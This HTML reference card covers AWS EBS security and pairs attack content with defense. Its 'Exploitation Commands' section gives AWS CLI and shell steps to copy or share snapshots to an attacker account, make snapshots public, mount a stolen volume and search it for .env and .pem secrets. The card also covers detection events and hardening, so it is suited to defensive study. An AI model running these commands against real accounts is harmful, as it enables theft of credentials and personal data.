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<!DOCTYPE html>
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<title>AWS EBS Security | AWS Security Cards</title>
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<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/ebs-card.webp" alt="AWS EBS Security" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/ebs.svg" alt="AWS EBS Security" /></div>
    <div>
      <div>
        <span class="header-title">AWS EBS Security</span>
        <span class="header-badge">STORAGE</span>
      </div>
      <p class="header-desc">Elastic Block Store (EBS) provides persistent block storage for EC2 instances. Snapshots can contain sensitive data and are often misconfigured with public sharing permissions.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">HIGH</div>
          <div class="stat-label">Risk Level</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">AZ</div>
          <div class="stat-label">Scope</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">gp3/io2</div>
          <div class="stat-label">Volume Types</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">KMS</div>
          <div class="stat-label">Encryption</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#22c55e;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #22c55e;">Volume Types</h4>
          <p>EBS offers multiple volume types: gp3/gp2 (general purpose SSD), io2/io1 (provisioned IOPS SSD), st1 (throughput HDD), and sc1 (cold HDD). Each attached to a single EC2 instance in the same AZ.</p>
          <div class="attack-note"><span style="color:#22c55e;">Attack note:</span> Volumes contain raw disk data - databases, credentials, application secrets</div>
        </div>
        <div>
          <h4 style="color: #22c55e;">Snapshots</h4>
          <p>Point-in-time backups stored in S3. Can be shared across accounts or made public. Snapshots are incremental but each can restore a complete volume.</p>
          <div class="attack-note"><span style="color:#22c55e;">Attack note:</span> Public snapshots are a goldmine - often contain secrets, SSH keys, database dumps</div>
        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 80%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">8.0</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">EBS snapshots frequently contain sensitive data and are commonly misconfigured with public access. Unencrypted volumes expose data at rest. Snapshot sharing enables cross-account data exfiltration.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Snapshot Exposure</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Public snapshots with sensitive data</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Cross-account snapshot sharing</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Copy public snapshots to attacker account</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Create volume from stolen snapshot</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Mount and extract all data</li></ul><h4 style="color: #f87171;">Volume Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Unencrypted volumes at rest</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Abandoned volumes with secrets</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Snapshot ransomware (encrypt + delete)</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Data exfiltration via snapshot copy</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Modify volume to inject malware</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Snapshot Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Snapshots shared publicly (Group: all)</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Shared to unknown/untrusted accounts</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No encryption on snapshots</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Orphaned snapshots not cleaned up</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No lifecycle policies for retention</li></ul><h4 style="color: #fb923c;">Volume Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Default encryption disabled</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Using AWS managed keys vs CMK</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> DeleteOnTermination: false (orphaned)</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No data classification tagging</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing backup/snapshot schedules</li></ul></div>
      <div class="panel" style="border-color: #22d3ee33;">
        <h3 style="color: #22d3ee;">🔍 Enumeration</h3>
        <div class="cmd-block">
          <div class="cmd-title">List All Volumes</div>
          <pre><code>aws ec2 describe-volumes</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Your Snapshots</div>
          <pre><code>aws ec2 describe-snapshots --owner-ids self</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Find Public Snapshots</div>
          <pre><code>aws ec2 describe-snapshots --restorable-by-user-ids all</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Check Snapshot Sharing</div>
          <pre><code>aws ec2 describe-snapshot-attribute \\
  --snapshot-id snap-xxx \\
  --attribute createVolumePermission</code></pre>
        </div></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">📤 Data Exfiltration</h3><h4 style="color: #c084fc;">Snapshot Theft Flow</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Find public/shared snapshot</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Copy snapshot to attacker account</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Create volume from snapshot</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Attach volume to attacker EC2</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Mount and extract all data</li></ul><h4 style="color: #c084fc;">Data Targets</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Database files (MySQL, PostgreSQL)</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> SSH keys and credentials</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Application configuration files</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Environment files with secrets</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Logs with sensitive information</li></ul><div class="note"><strong>Gold Mine:</strong> Database snapshots often contain complete production data - user tables, credentials, PII.</div></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Persistence Methods</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Create snapshot of compromised volume</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Share snapshot to attacker account</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify volume with backdoor/rootkit</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Attach malicious volume to target EC2</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Store malware in hidden volume</li></ul><h4 style="color: #facc15;">Impact</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Survive instance termination</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Maintain access across reboots</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Exfiltrate data over time</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Ransomware via snapshot encryption</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Supply chain via shared snapshots</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateSnapshot - snapshot created</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ModifySnapshotAttribute - sharing changed</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CopySnapshot - snapshot copied</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> CreateVolume - volume from snapshot</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> DeleteSnapshot - snapshot deleted</li></ul><h4 style="color: #4ade80;">Indicators of Compromise</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Snapshot shared to unknown accounts</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Public snapshot attribute added</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Cross-region snapshot copies</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Unusual volume attachments</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> Bulk snapshot operations</li></ul></div></div>

<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">&#x1F4BB;</span> Exploitation Commands</h2><div class="cmd-grid">
        <div class="cmd-block">
          <div class="cmd-title">Copy Snapshot to Attacker Account</div>
          <pre><code>aws ec2 copy-snapshot \\
  --source-region us-east-1 \\
  --source-snapshot-id snap-target \\
  --description &quot;exfil&quot;</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Create Volume from Snapshot</div>
          <pre><code>aws ec2 create-volume \\
  --snapshot-id snap-stolen \\
  --availability-zone us-east-1a</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Share Snapshot to Attacker</div>
          <pre><code>aws ec2 modify-snapshot-attribute \\
  --snapshot-id snap-xxx \\
  --attribute createVolumePermission \\
  --operation-type add \\
  --user-ids 123456789012</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Attach Volume to EC2</div>
          <pre><code>aws ec2 attach-volume \\
  --volume-id vol-xxx \\
  --instance-id i-attacker \\
  --device /dev/sdf</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Mount and Extract (on EC2)</div>
          <pre><code>sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
find /mnt/stolen -name &quot;*.env&quot; -o -name &quot;*.pem&quot;</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Make Snapshot Public (DoS/Exposure)</div>
          <pre><code>aws ec2 modify-snapshot-attribute \\
  --snapshot-id snap-xxx \\
  --attribute createVolumePermission \\
  --operation-type add \\
  --group-names all</code></pre>
        </div></div></div>

<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Public Snapshot</span>
          </div>
          <pre><code>Snapshot Attributes:
CreateVolumePermission:
  - Group: all    # PUBLIC SNAPSHOT!

Volume: Unencrypted
DeleteOnTermination: false

// Anyone can copy this snapshot and access data</code></pre>
          <p class="policy-desc">Anyone in AWS can copy this snapshot and access all data</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Private Encrypted</span>
          </div>
          <pre><code>Snapshot Attributes:
CreateVolumePermission:
  - UserId: 123456789012  # Specific account only

Volume: Encrypted (KMS CMK)
DeleteOnTermination: true
Tags: {&quot;DataClassification&quot;: &quot;Confidential&quot;}</code></pre>
          <p class="policy-desc">Only specific account can access, encrypted with customer key</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔐</span>
            <div>
              <h4>Enable Default Encryption</h4>
              <p>Encrypt all new EBS volumes automatically with KMS.</p>
              <pre><code>aws ec2 enable-ebs-encryption-by-default</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚫</span>
            <div>
              <h4>Block Public Snapshots</h4>
              <p>Prevent snapshots from being shared publicly at the account level.</p>
              <pre><code>aws ec2 enable-snapshot-block-public-access --state block-all-sharing</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔑</span>
            <div>
              <h4>Use Customer Managed KMS Keys</h4>
              <p>Control key access and enable rotation for better security.</p>
              <pre><code>aws ec2 create-volume --encrypted \\
  --kms-key-id alias/my-ebs-key</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📝</span>
            <div>
              <h4>Enable CloudTrail Data Events</h4>
              <p>Log snapshot and volume operations for auditing.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🗑️</span>
            <div>
              <h4>Implement Lifecycle Policies</h4>
              <p>Auto-delete old snapshots to reduce exposure window.</p>
              <pre><code>aws dlm create-lifecycle-policy \\
  --policy-details '{&quot;PolicyType&quot;:&quot;EBS_SNAPSHOT_MANAGEMENT&quot;...}'</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📊</span>
            <div>
              <h4>AWS Config Rules</h4>
              <p>Alert on unencrypted volumes and public snapshots.</p>
              <pre><code>ec2-ebs-encryption-by-default, ec2-snapshot-public-restorable-check</code></pre>
            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS EBS Security Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>